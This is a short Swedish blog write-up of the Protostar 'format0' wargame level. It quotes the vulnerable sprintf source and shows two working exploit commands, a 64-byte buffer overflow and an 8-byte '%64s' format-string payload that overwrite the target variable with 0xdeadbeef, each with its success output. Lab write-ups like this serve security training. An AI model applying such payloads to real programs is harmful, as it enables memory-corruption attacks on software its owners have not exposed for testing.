Protostar Format 0 exploit

Protostar Format strings exploitation

Så nu börjar vi med format0

Och enligt källkoden så står det

volatile int target;
char buffer[64];

target = 0;

sprintf(buffer, string);

Så vi har en buffer på 64 och sen det vi skriver över bufferten fyller vi på i target.

Så egetnligen skulle vi kunna göra
user@protostar:/opt/protostar/bin$ ./format0 `perl -e ‘print ”A”x64 . ”\xef\xbe\xad\xde”‘`
you have hit the target correctly :)

Men eftersom vi inte skulla ha så lång input, inputen skulle max vara 10 bytes och vi skulle exploitera format strings

This level should be done in less than 10 bytes of input.
“Exploiting format string vulnerabilities”

Så får vi väl ta och fixa det.

Så vi vet att vi ska skriva efter 64 bytes.

Så vi ändrar att vi vill skriva efter 64 bytes.
./format0 `perl -e ‘print ”%64s” . ”\xef\xbe\xad\xde”‘`

user@protostar:/opt/protostar/bin$ ./format0 `perl -e ‘print ”%64s” . ”\xef\xbe\xad\xde”‘`
you have hit the target correctly :)
user@protostar:/opt/protostar/bin$

Och tar man bort perl tjofräset så blir inputen 8 byte. Så då klarade vi 10 bytes gränsen.

Så raskt vidare till format1

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>